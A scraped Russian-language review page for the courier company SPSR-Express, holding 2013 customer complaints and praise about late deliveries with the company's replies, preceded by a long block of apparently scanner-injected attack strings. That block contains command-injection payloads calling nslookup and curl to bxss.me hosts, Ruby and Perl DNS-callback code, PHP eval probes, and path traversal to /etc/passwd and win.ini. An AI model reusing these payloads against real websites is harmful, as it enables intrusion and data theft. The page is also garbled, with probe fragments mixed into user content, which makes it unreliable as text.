Дмитров
!(
!(()&&!|*|*|
"+
"+"A".concat(70-3).concat(22*4).concat(120).concat(73).concat(97).concat(69)+(require"socket"
Socket.gethostbyname("hitjf"+"gavqrzan56c7d.bxss.me.")[3].to_s)+"
"+"A".concat(70-3).concat(22*4).concat(121).concat(76).concat(104).concat(75)+(require"socket"
Socket.gethostbyname("hitfv"+"zdwntpww6b911.bxss.me.")[3].to_s)+"
"+response.write(9165175*9305228)+"
"+response.write(9316314*9304450)+"
".
".gethostbyname(lc("hitea"."pgdlyizp0fd66.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(85).chr(117).chr(76)."
".gethostbyname(lc("hitzi"."nhdexkozc55a3.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(80).chr(113).chr(77)."
";
";print(md5(31337));$a="
"D
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
$(
$(nslookup -q=cname hitatwonbkxvaaa2c2.bxss.me||curl hitatwonbkxvaaa2c2.bxss.me)
$(nslookup -q=cname hitclvkbspadp9ab0e.bxss.me||curl hitclvkbspadp9ab0e.bxss.me)
${
${9999439+9999037}
${9999962+10000477}
${@print(md5(31337))}
${@print(md5(31337))}\
&(
&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&'\"`0&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&`'
&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&'\"`0&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&`'
&E
&echo cdkgtq$()\ ljiwby\nz^xyu||a #' &echo cdkgtq$()\ ljiwby\nz^xyu||a #|" &echo cdkgtq$()\ ljiwby\nz^xyu||a #
&echo cwwgiz$()\ cdtgax\nz^xyu||a #' &echo cwwgiz$()\ cdtgax\nz^xyu||a #|" &echo cwwgiz$()\ cdtgax\nz^xyu||a #
&N
&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&'\"`0&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&`'
&nslookup -q=cname hithbwhenpuxie067e.bxss.me&'\"`0&nslookup -q=cname hithbwhenpuxie067e.bxss.me&`'
'"
'"
'"()
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'+
'+'A'.concat(70-3).concat(22*4).concat(106).concat(81).concat(110).concat(89)+(require'socket'
Socket.gethostbyname('hitvi'+'elyzparya3ad1.bxss.me.')[3].to_s)+'
'+'A'.concat(70-3).concat(22*4).concat(109).concat(90).concat(117).concat(82)+(require'socket'
Socket.gethostbyname('hitrp'+'vnudbpuz26ffe.bxss.me.')[3].to_s)+'
'+response.write(9165175*9305228)+'
'+response.write(9316314*9304450)+'
'.
'.gethostbyname(lc('hitdm'.'gnmcddnyf81f0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(79).chr(103).chr(90).'
'.gethostbyname(lc('hitqd'.'wthehqqn95388.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(77).chr(120).chr(71).'
'.print(md5(31337)).'
';
';print(md5(31337));$a='
(N
(nslookup -q=cname hithmxnvvymbv67fd4.bxss.me||curl hithmxnvvymbv67fd4.bxss.me))
(nslookup -q=cname hituapxqhqkbb85c1c.bxss.me||curl hituapxqhqkbb85c1c.bxss.me))
)
)
))
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
..
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../Mr.
./
./Mr.
//
//xfs.bxss.me?pro-firmy.ru
/E
/etc/shells
/\
/\xfs.bxss.me?pro-firmy.ru
12
12345'"\'\");|]* {
< >
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'
1H
1HcZmC8cO
1R
1rF4zkSEO
1Y
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.
1}
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
90
904295
97
976859
;(
;(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)|(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)&(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)
;(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)|(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)&(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)
;A
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
Ольга
01.11.2013
Все забывают, что взаимодействует компания посредством общения курьера и клиента. Предварительно любезная девушка проговорила со мной, что доставка будет в срок от 15-00 до 18-00. Я очень просила, чтобы не ранее 15-00, мне сказали, что можно сделать специальную пометку. Насколько сильно было мое удивление, что курьер позвонил в 10-00 со словами, что какая там девушка, она никто, у меня свой график, мне не удобно, тогда ждите поздно вечером, я рядом живу, вот после работы и завезу. Если бы не было предоплаты, то просто отказалась от получения посылки. Все удовольствие от того, что ты, возможно, приобретаешь что-то желанное и приятное теряется от хамства курьеров…. Потом еще требует, чтобы ему "отзвонились", когда и где Вы будете, чтобы под него подстраиваться и, может, самим подъехать к его местонахождению???
Сергей (СПСР-ЭКСПРЕСС)
08.11.2013
Ольга, добрый день! Примите извинения от лица компании за поведение курьера. Он будет оштрафован. Для проведения внутреннего расследования, направьте, пожалуйста, номер накладной и Ваш контактный телефон, на адрес электронной почты: kontrol_kachestva@cpcr.ru. Заранее спасибо. С уважением, Департамент обслуживания Клиентов СПСР-ЭКСПРЕСС.
Сергей
31.10.2013
Для начала необходимо удалить из названия слово "ЭКСПРЕСС", только тогда будет правильно называть эту контору. Посылка прибыла в 6 утра в Москву из Питера, и они целый день ничего с ней не делали, только после звонка сказали, что доставят посылку. А если бы не позвонили?
Сергей (СПСР-ЭКСПРЕСС)
08.11.2013
Сергей, здравствуйте! Для предоставления точной информации, направьте, пожалуйста, номер накладной и контактный телефон, на адрес электронной почты kontrol_kachestva@cpcr.ru. Заранее спасибо. С уважением, Департамент обслуживания Клиентов СПСР-ЭКСПРЕСС.
Анастасия
30.10.2013
Ужасно! Делала заказ в интернет-магазине. 29.10 с 9.00 до 18.00 должны были привезти мою посылку. Прождала весь день, никто даже не удосужился позвонить! На мой вопрос, почему меня не предупредили, мне ответили, мол это в обязанности курьера не входит. При том, что им было известно, что мой заказ доставлен не будет в 17.45! Замечательно. Договорились на 23.00. И то же самое - ни ответа, ни привета. Позвонила, сказали ожидайте звонок, чтобы согласовать доставку. В итоге, опять никто не позвонил. Звоню сама, договорились на 02.11. Это при том, что специально выбирала ЭКСПРЕСС доставку! Вывод: всем на вас по барабану, вовремя вы посылку не получите! Если есть возможность, выбирайте другие варианты доставки! Номер накладной: 15013112251.
Сергей (СПСР-ЭКСПРЕСС)
08.11.2013
Здравствуйте, Анастасия! Благодарим за информацию. По нашим данным, Вы забрали заказ в клиентском зале 1.11. Мы сожалеем о том, что у Вас сложилось негативное мнение о компании, и приносим извинения за неудобства. С уважением, Департамент обслуживания Клиентов СПСР-ЭКСПРЕСС.
Екатерина
25.10.2013
23 октября со мной связалась курьерская служба СПСР-экспресс, назначив дату доставки - 24 октября с 14.00 до 18.00 на мой рабочий адрес. Курьера я прождала назначенное время, в районе 17.30 позвонив в курьерскую службу уточнить, приедет ли он вообще или нет. В курьерской службе оператор сообщила, что с курьером связаться не может, так как телефона курьера у нее нет ("это какой-то новенький курьер, я еще не знаю его номер, а менеджеров на месте уже нет" - цитирую дословно). Я ее предупредила, что мой рабочий день - до 18.00. В 20.30 мне позвонил курьер и сообщил, что он собирается подъехать по указанному адресу. Мне пришлось ему сообщить, что меня уже на месте нет. Договориться о доставке на следующий день курьер со мной не мог и просил самостоятельно связаться с оператором и сообщить о переносе доставки на следующий день. После очередных переговоров с оператором курьерской службы мне было объяснено, что недоставленный товар возвращается опять в сортировочный центр и уже оттуда мне вновь позвонят и назначат время доставки. Вопрос: Почему у вас неквалифицированный персонал и плохая логистика? Почему в других компаниях курьеры звонят и говорят - я задерживаюсь, Москва, пробки, не перенести ли нам доставку?! У меня очень напряженный рабочий график, чтобы ждать курьера, я перенесла все свои встречи, почему же курьер даже не позвонил, что опаздывает? Я же плачу за доставку! Почему в других интернет-магазинах доставка всегда вовремя? В ходе переговоров с оператором (24.10) меня уверили, что посылку я свою получу 25.10. 25.10 звоню опять в службу - мне говорят, что доставка возможна только 31.10 либо 01.10! По почте посылка идет быстрее! Я уже не уверена, что и в эти дни товар попадет ко мне в руки! Номер накладной - 15013181671.
Сергей (СПСР-ЭКСПРЕСС)
31.10.2013
Екатерина, добрый день! Благодарим за информацию. Для проведения внутреннего расследования, направьте, пожалуйста, номер накладной и контактный телефон, на адрес электронной почты: kontrol_kachestva@cpcr.ru. После выяснения всех обстоятельств, виновные будут наказаны. Повторная доставка Вашего отправления планируется 1.11. От лица Компании приносим извинения за причиненные неудобства. С уважением, Департамент обслуживания Клиентов СПСР-ЭКСПРЕСС.
Павел
21.10.2013
Первый раз воспользовался услугами СПСР, отправлял посылку из Москвы в Читу, вызвал курьера, курьер приехал в назначенное время, забрал посылку, по тарифу который я выбрал посылка должна была идти 3-5 рабочих дней, обманули шла 3 дня причем из них выпало два выходных. Очень положительное впечатление осталось от их обслуживания. При случае испытаю их сервис еще раз!
Валерия
15.10.2013
Добрый день! Воспользовалась СПСР первый раз. Очень довольна! Посылка из Америки в Москву, способ доставки авиа-экспресс. В пятницу 11.10.2013 была отправлена, сегодня 15.10.2013 курьер ее привез! Это действительно экспресс! Спасибо!
Красавина Евгения
11.10.2013
Хотела бы обратить ваше внимание на плохое качество сервиса, которое осуществляет компания СПСР. Надеюсь это поможет в дальнейшем избежать аналогичной ситуации. Мною был оформлен заказ по накладной №15012941974 с доставкой на 10 октября 2013 года с 9 утра до 18 часов вечера. Я с грудным, трехмесячным ребенком была вынуждена сидеть дома все эти отведенные для доставки 9 часов, в итоге не получив даже звонка о том, что заказ доставлен не будет. Хотя об этом было известно еще в 15-45, исходя из информации, опубликованной на сайте. К сожалению, 10 октября у меня не было возможности проверить информацию по накладной в интернете, но я и не обязана проверять информацию о доставке в интернете. Исходя из условий сервиса подобную информацию я могу получить по телефону контакт-цента. Но по факту все оказывается не так. В 17-25 я позвонила первый раз в контакт центр чтобы узнать приедет ли все-таки курьер. Оператор попыталась с ним связаться, после нескольких минут ожидания на телефоне она попросила меня перезвонить через 10 минут, потому как не может связаться с курьером. Прошу обратить внимание, что клиентом являюсь я, и задачей вашей компании является сообщить мне где находится курьер или моя посылка. Проходит 10 минут, я снова звоню в контакт-центр, меня просят подождать 10 минут на телефоне пока пытаются связаться снова с курьером, при этом между делом сообщив, что непонятно зачем пытались созвониться с курьером. После 10 минут ожидания на телефоне мне сообщают уже знакомую фразу, что с курьером связаться не могут. Повисает театральная пауза. Я, как клиент, хочу понять, что же будет дальше - возможно, мне предложат подождать курьера или предложат доставку на следующий день. Но нет. просто никаких вариантов решения сложившейся ситуации. А время уже 17-45. Уже и так понятно, что никакой курьер физически приехать не успеет. Я очень недовольна последним опытом общения с компанией СПСР, хотя в прошлом был и позитивный опыт (когда я была представителем логистической компании и мы работали с СПСР как юридическое лицо). Почитав отзывы о компании в интернете от физических лиц я лишь убедилась, что такое случается довольно часто. Очень жаль, если у СПСР действительно такой подход к работе с физическими лицами и приоритетом являются компании. Надеюсь подобный отзыв послужит на пользу компании СПСР для проведения "работы над ошибками". Аналогичное письмо я уже отправила в отдел контроля качества обслуживания клиентов компании СПСР. Надеюсь почитав хотя бы несколько таких отзывов сотрудники компании СПСР будут задумываться, что и они когда-то могут оказаться в похожей ситуации с маленьким ребенком.
Евгения, добрый день. Благодарим за сигнал. По нашим данным, Вы отказались от заказа 12.10. Мы сожалеем о том, что у Вас сложилось негативное мнение о компании, и приносим извинения за неудобства. С уважением, Департамент обслуживания Клиентов СПСР-ЭКСПРЕСС.
Леонид
10.10.2013
04.10.13 моя посылка была в СПб офисе этой компании (спср-ЭКСПРЕСС). 08.10.13 так и не дождавшись звонка позвонил в офис и мне предложили Экспресс доставку только на 15.10.13. Я был вынужден согласиться на самовывоз на 09.10.13. На следующий день перед приходом в пункт самовывоза я решил позвонить и узнать - есть ли смысл приходить и о чудо - естественно моей посылки нет. После длительных переговоров с офисом в СПб и службой контроля качества меня уговорили перенести доставку на завтра, при этом сотрудник службы кк обещала мне утром перезвонить и сообщить время приезда курьера.10.10.13 не дождавшись звонка из службы я сам им позвонил и выяснил, что доставки не будет, но зато супервайзер службы контроля качества обещала, что через 5 минут перезвонит мне менеджер отдела доставки. Прошло 5 часов - звонка так и нет. Продолжение следует.
Сергей (СПСР-ЭКСПРЕСС)
15.10.2013
Добрый день, Леонид. Благодарим за информацию. По нашим данным, посылка доставлена 14.10. Примите наши извинения за причиненные неудобства. С уважением, Департамент обслуживания Клиентов СПСР-ЭКСПРЕСС.
Малахова Оксана Александровна
04.10.2013
Доставка безобразная. Можно сказать, что ее просто нет. 1 октября позвонили и сказали, что доставка будет 3 октября с 12 до 18 часов. Я отпросилась с работы. просидела целый день дома. Ничего не принесли и не позвонили. Звоню сама, сказали, что мой заказ не нашли. Со скандалом пообещали принести 4 октября с 9 до 14 часов. Прождала целый день. Звоню в 18:30, спрашиваю где мой заказ. Отвечают, курьер не успел доставить и сдал его на склад. Можем принести его Вам в понедельник 7 октября. Я два дня просидела прождала заказ. А их курьер не успел доставить. Видно пешком ходит по Москве. Я брала на работе за свой счет два дня, что бы получить этот заказ и должна еще один день посидеть дома. Просто безобразие и хамское отношение. Никогда не связывайтесь с этой фирмой, а то так своего заказа и не увидите. Прилагаю номер накладной, что бы не говорили, что я наговариваю на их фирму. Номер накладной 15012865929.
Сергей (СПСР-ЭКСПРЕСС)
09.10.2013
Здравствуйте, Оксана Александровна. Благодарим за оставленный отзыв. На Ваш заказ оформлен возврат, так как Вы от него отказались. Мы сожалеем о том, что у Вас сложилось негативное мнение о компании и приносим извинения за неудобства. С уважением, Департамент обслуживания Клиентов СПСР-ЭКСПРЕСС.
Руслан
14.09.2013
СПСР 5-6 Раз обращался одна сказала на таможне в течении двух дней решим, вторая сказала, все там же и третий раз в четвертый раз не ответили в пятый раз еще срок не подошел в шестой рас. Разберемся СМС или позвоним. И каждый раз извинения, извинения а потом и пошлют скорей всего подальше. Сглупил я после отправки взглянул отзывы. А потом возьмут еще и посылку подпортят специально! За плохой отзыв. *********** ****
Сергей (СПСР-Экспресс)
24.09.2013
Руслан, добрый день. Спасибо за информацию. Посылка в нашу компанию еще не поступила. Наши сотрудники делают все возможное, чтобы ситуация решилась в самое ближайшее время. Примите извинения за причиненные неудобства. С уважением, Департамент обслуживания Клиентов СПСР-Экспресс.
Ольга
11.09.2013
Заказала вещи в интернет магазине, там указано, что доставка 6-8 рабочих дней, а мне доставили через 5 дней, была приятно удивлена! В день доставки приходит смс, затем звонит курьер, говорит во сколько примерно подъедет! Все четко и слажено! Спасибо за хорошую работу!
Ольга
09.09.2013
Несмотря на то, что начиталась в интернете кучу негативных отзывов, моя посылка дошла до меня вовремя. 05.09 мне сообщили, что посылка готова к доставке, ближайшая дата была 09.09. В указанный день и указанные временные сроки я получила свою посылку!
Татьяна
03.09.2013
Хочу выразить благодарность филиал ной Сети СПСР Экспресс в Курске, за качественную оперативную и прекрасную работу с клиентами. Отправляла сыворотку крови в Москву в августе (гепард экспрессом), все было доставлено вовремя. Спасибо за ваш труд.
Евдокимов Владислав
23.08.2013
Де. мо. а не почтовая система. Пользовался DHL -без нареканий. EMS -чуть дольше, но в заявленные сроки укладываются. СПСР - Документы взяли и сообщили, , что доставят за три дня. Прошло 10 дней, заявляют, что "Извините, документы утеряны". Не проверяют движение документа, отследить нет возможности (до DHL им очень далеко). И им все до лампочки, главное деньги собрать. Это Иркутское отделение, но скорее всего так везде. № накладной 800 238131.
Сергей (СПСР-ЭКСПРЕСС)
26.08.2013
Владислав, добрый день. Спасибо за обращение. Ваше отправление утеряно при пересылке. По вопросу финансового возмещения просьба выслать Ваши требования по электронному адресу: pretension@cpcr.ru. Примите извинения от лица компании за сложившуюся ситуацию. С уважением, Департамент обслуживания Клиентов СПСР-ЭКСПРЕСС.
Наталья
12.08.2013
Заказ пришел в службу доставки 31 июля. Позвонили, обещали привезти через день, предложили записать номер накладной и уточнили адрес. За эти несколько минут доставку закрыли, предложили доставить через неделю. В указанный день пришло смс о доставке с 9 до 18, прождала целый день (приехала с тремя детьми с дачи) - не позвонили, не привезли. Вечером позвонила сама, оказалось курьер не успел из-за пробок и закрыл доставку. Это была пятница, в выходные они не работают, обещали позвонить на следующей неделе. Сегодня понедельник, недавно позвонили мне, предложили доставку на среду, пока я записывала номер накладной 15012317276, доставку опять закрыли. Обещали перезвонить. Да, и про второй заказ совсем забыли.
Сергей (СПСР-ЭКСПРЕСС)
16.08.2013
Наталья, добрый день. Спасибо за письмо. По нашим данным, доставка Ваших заказов планируется 21.08. Приносим Вам свои извинения в связи с причиненными неудобствами. С уважением, Департамент обслуживания Клиентов СПСР-ЭКСПРЕСС.
Дарина
09.08.2013
Ужасный сервис. Если есть варианты, то ни в коем случае не пользуйтесь услугами этой непонятной компании! Посылка не может быть доставлена уже 3-ий день. В первый курьер, видите ли, не успел уложиться в целый день. После звонка в "Департамент обслуживания" извинились, перенесли на следующий день. Ладно, всякое бывает, однако за потраченный зря РАБОЧИЙ день было обидно. На второй день согласовали доставку с 9 до 14:00. Курьера не было. Звоним. "А доставка вашего заказа не согласована на сегодняшний день. Курьер ее не взял". И последовало предложение: "Может вы сами заберете посылку?". Следующий день. Согласовали с 9 до 14:00, и, аллилуя, внесли в базу. Ближе к 2-м - курьера нет, звонков от курьера нет. "Где посылка????" - звоню я в департамент обслуживания. "В дороге, курьер будет через 1,5 часа + минут 15, если, вдруг, потеряется." (Конечно, я ведь в тайге живу, а не в центре Москвы). Пойди тут найди нужный дом. Проходит 3 часа. ГДЕ ПОСЫЛКА???? - Извините, курьер до 2-х не успел, будет у вас через 1,5 часа. ВЫВОД: СПСР - брат-близнец Почты России, да и те работают оперативнее! Не пользуйтесь услугами СПСР. Слово экспресс тут вообще неуместно.
Сергей (СПСР-ЭКСПРЕСС)
14.08.2013
Дарина, добрый день. Для предоставления информации направьте, пожалуйста, номер накладной и контактный телефон на адрес электронной почты: kontrol_kachestva@cpcr.ru. Заранее спасибо. С уважением, Департамент обслуживания Клиентов СПСР-ЭКСПРЕСС.
Алекс
02.08.2013
Заказывал в интернет-магазине с доставкой через спср. Указано время ожидание 9 дней (посылку везли в Челябинск). Привезли через 2 дня, все аккуратно, вежливо и в отличном виде.
Александр
01.08.2013
Посылку нашу привезли 26 июля в Нижний Тагил, связались с операторами по поводу уточнения даты доставки, сказали, что нам позвонят. Ждали звонка до 31 июля, но так и не дождались. Затем, самолично связавшись с операторами, выяснили, что до нас, якобы, не дозвонились (хотя ни пропущенных, ничего такого не было) и увезли посылку обратно в Тагил (2 часа езды). И теперь следующая доставка возможна ТОЛЬКО ЧЕРЕЗ НЕДЕЛЮ! А нам она нужна была к субботе, и теперь все планы и настроение испорчены. С такими сроками доставки проще пользоваться почтой РФ!
Сергей (СПСР-ЭКСПРЕСС)
12.08.2013
Здравствуйте, Александр. Для предоставления информации направьте, пожалуйста, номер накладной и контактный телефон на адрес электронной почты kontrol_kachestva@cpcr.ru. Заранее спасибо. С уважением, Департамент обслуживания Клиентов СПСР-ЭКСПРЕСС.
Вот так "экспресс" у вас и работает. Спасибо, но посылку уже доставили неделю назад.
Сергей (СПСР-ЭКСПРЕСС)
14.08.2013
Александр, добрый день. Мы сожалеем о том, что у Вас сложилось негативное мнение о компании, и приносим извинения за неудобства. С уважением, Департамент обслуживания Клиентов СПСР-ЭКСПРЕСС.
Владимир
31.07.2013
Опишу и я свой опыт использования доставки через СПСР. В отделении СПСР посылка пришла 25 числа, в четверг. Позвонив вечером в СПСР получил обещание девушки доставить посылку в пятницу и предложение позвонить и убедиться, что ее передали курьеру. Позвонив в пятницу узнал, что никто мою посылку курьеру не передавал и даже не собирался. Сами звонить они конечно даже не думали. Проругавшись с ними в течении часа (в СПСРе все меня убеждали в начале, что я не прав, потом убежали, что у них проблемы с базой данных и их админ не в курсе, потом грозились прослушать мой разговор с девушкой в четверг и доказать, что я сам дурак и не так понял. Причем стандартный способ работы у них это сказать - мы разбираемся, мы перезвоним и не звонить 1-2 часа. В итоге, разговор был прослушан и они сделали вывод, что ошиблась их сотрудник), в итоге так и не добился доставки в пятницу. Я живу в Москве, но за МКАД, а это примерно как соседняя галактика для СПСР. Доставку мне согласовали только на вторник, потому, что в понедельник машины за МКАД не едут у них (о выходных даже и не мечтал). Девушка из их поддержки уверяла меня, что мне позвонят за полчаса, до доставки. Сегодня, во вторник, я решил позвонить, чтобы проверить, что посылку курьеру передали. И заодно узнать у девушки, когда ее собственно доставят. Девушка позвонила курьеру и сказала, что доставят ее уже сейчас через 20-30 минут. Пришлось в спешке ехать домой и получать посылку. К самой посылке никаких претензий. Все отлично упаковано. Но сроки. Выбирал СПСР только исходя из слова ЭКСПРЕСС. Посылок получаю много, со всего мира и никогда краж или порчи не было. В среднем посылка из США идет до моей почты 15-25 дней. СПСР доставил за 24 дня с момента отправки. Пока не будет финансовой ответственности СПСР за просрочку доставки, так и будет у них полный бардак. Никому не советую пользоваться данным сервисом. Отправление №15012282083.
Сергей (СПСР-ЭКСПРЕСС)
06.08.2013
Владимир, добрый день. Спасибо за обращение. 25.07.2013 г. Ваш заказ в течение дня проходил обработку. Во время обработки груза оператор не может согласовать доставку. Доставку за МКАД мы осуществляем каждый будний день согласно кол-ву уже запланированных доставок в определенный район. Если оператор не предложил Вам доставку на понедельник, значит максимальное кол-во доставок в Ваш район уже было согласовано. Груз был доставлен 30.07.2013 г. Примите извинения от лица компании за доставленные неудобства. С уважением, Департамент обслуживания Клиентов СПСР-ЭКСПРЕСС.
Екатерина
30.07.2013
Просто хамская работа курьера Филатова Дмитрия Сергеевича! Уже полторы недели доставляет мне данный курьер посылку, ранее этот же тип не посчитал дать сдачу за доставленную посылку. Звонит с притеснениями и выговорами, мнит из себя некого "божка", не понимая, что он всего навсего просто посыльный, который получает зарплату, за счет мною заказанных товаров в интернет-магазине. Не понимаю, по какому принципу отдел кадров спср-экспресс набирает курьеров.
Сергей (СПСР-ЭКСПРЕСС)
06.08.2013
Екатерина, здравствуйте. Спасибо за сигнал. Ваше обращение передано руководителю курьера для проведения внутренней работы. Примите извинения от лица компании за доставленные неудобства. С уважением, Департамент обслуживания Клиентов СПСР-ЭКСПРЕСС.
К. И.
23.07.2013
Я хотела бы выразить благодарность Вашей компании за качественную, оперативную работу и прекрасное отношение к клиентам. Я получаю вторую посылку через СПСР с ресурса asos.com и крайне довольна уровнем Вашего сервиса: консультанты всегда вежливы и располагают к себе, говорят исключительно по делу, качественно работает интернет- и смс-оповещение, курьеры действуют согласно ранее достигнутых договоренностей. Я 5 лет проработала в компаниях-лидерах рынка экспресс-доставки DHL и TNT и, признаюсь честно, считала, что оказать истинно качественный сервис могут только первые) Но СПСР в лице двух консультантов, с которыми я общалась по телефону и курьера, который организовывал первую доставку, убедили меня в обратном. Конечно, я прекрасно понимаю, что за этим стоит целая компания. На всякий случай, я пишу номера накладных 15012250867 и 15012198326, мне было бы очень приятно, если бы консультанты и курьер узнали о том, что я крайне благодарна им за их отношение к работе. В будущем, я несомненно буду пользоваться Вашими услугами, а также рекомендовать СПСР своим коллегам и знакомым) Спасибо Вам!
Сергей
22.07.2013
Из Москвы за один день, в Тольятти 6 дней не везут. По мониторингу доставки на их сайте. Вот так экспресс))) Причем указана причина не доставки.. ПРЕДПРИНЯТА ПОПЫТКА ДОСТАВКИ. ПОЛУЧАТЕЛЯ НЕТ ДОМА. 19.07.2013 14:20:00 Что наглая ложь. Весь день дома, ни звонков в домофон, ни на телефон не было от СПСР-экспресс. 22.07.13 После звонка в офис. Ответ - курьер уехал, сегодня вам доставку не осуществят. Это 10.30 утра ))) Накладная №15012201626.
Сергей (СПСР-ЭКСПРЕСС)
26.07.2013
Сергей, здравствуйте. Благодарим за обращение. По нашим данным, отправление доставлено 23.07. Приносим Вам извинения за ожидание и благодарим за понимание. С уважением, Департамент обслуживания Клиентов СПСР-ЭКСПРЕСС.
Людмила
22.07.2013
Номер договора/заказа: 15012149795, отрицательный. Позвонили и вежливо спросили, когда удобно принести посылку, в общем, как всегда. Неделю сижу и жду, но никто ничего не несет. Звонила в фирму, попросила позвонить, когда будет доставка утром, чтобы может курьер на работу принес, т. е. передать на другой участок, никто не звонит, ничего не несет. Еще год назад я расхваливала всем знакомым эту фирму, пока не обокрали. А теперь вообще полный игнор. Когда в нашей стране будет хоть что-то работать!? Или как написано у Бунина: "С приходом министра связи Почта перестала работать", так это в прошлом веке было. UPS за эти же деньги за три дня со Штатов привозит заказ и все четко.
Сергей (СПСР-ЭКСПРЕСС)
26.07.2013
Добрый день, Людмила. Спасибо за письмо. По нашим данным, заказ доставлен 23.07. От лица компания приносим Вам извинения за причиненные неудобства. С уважением, Департамент обслуживания Клиентов СПСР-ЭКСПРЕСС
Инна
17.07.2013
05.07.2013 года в ответ на мою жалобу от 14.06.2013 о том, что более 2 недель не меняется статус посылки в отслеживании и сотрудники компании не могут предоставить никакой информации о ее местонахождении, на сайте http://www.edost.ru/voite.php?c=1&p=81#v_top появился дополнительный ответ от сотрудника СПСР, в котором утверждается, что моя посылка была возвращена отправителю, якобы, по моей просьбе. Это не только полностью не соответствует фактам и является клеветой (я хотела получить посылку и готова была провести ее таможенное оформление самостоятельно, но первая информация, которую я получила о месте нахождения посылки, была о том, что посылка УЖЕ отправлена обратно, тогда как днем ранее СПСР категорически отрицала наличие у них моей посылки), но и противоречит их же собственному ответу, данному ранее на ту же жалобу, где они сообщают, что отправили посылку обратно из-за несвоевременного предоставления документов отправителем. К СВЕДЕНИЮ КЛИЕНТОВ, НЕ ПОЛУЧИВШИХ СВОИ ПОСЫЛКИ В СВЯЗИ С ИХ ВОЗВРАТОМ, УТЕРЕЙ, ВОРОВСТВОМ ВЛОЖЕНИЙ - ВСЕ СДЕЛАНО ПО ВАШЕЙ ЖЕ СОБСТВЕННОЙ ПРОСЬБЕ! И ничего, что вы подобной просьбы не выражали ни в устной, ни в письменной форме, работники СПСР лучше Вас самих знают, чего Вы на самом деле хотите и готовы публично озвучить это задним числом. Так, что если Вы до сих пор не получили своей посылки, будьте готовы к тому, что вы от нее отказались, так же как от страховок и компенсаций, сроки требования которых истекут к тому моменту, когда Вы узнаете о своих тайных желаниях. Единственное, что компания СПСР делает всегда (в отличие от доставки посылок) - это ВРЕТ СВОИМ КЛИЕНТАМ.
Сергей (СПСР-ЭКСПРЕСС)
23.07.2013
Инна, добрый день. Благодарим за оставленный отзыв. Сотрудники нашей компании свяжутся с Вами в ближайшее время для обсуждения возможных вариантов решения вопроса. Мы сожалеем о том, что у Вас сложилось негативное мнение о компании, и приносим извинения за неудобства. С уважением, Департамент обслуживания Клиентов СПСР-ЭКСПРЕСС.
Мурад
12.07.2013
Все супер, спасибо, СПСР, посылка из Благовещенска в Астрахань дошла за 3 дня.
ООО "РОСИНМЕД"
09.07.2013
_
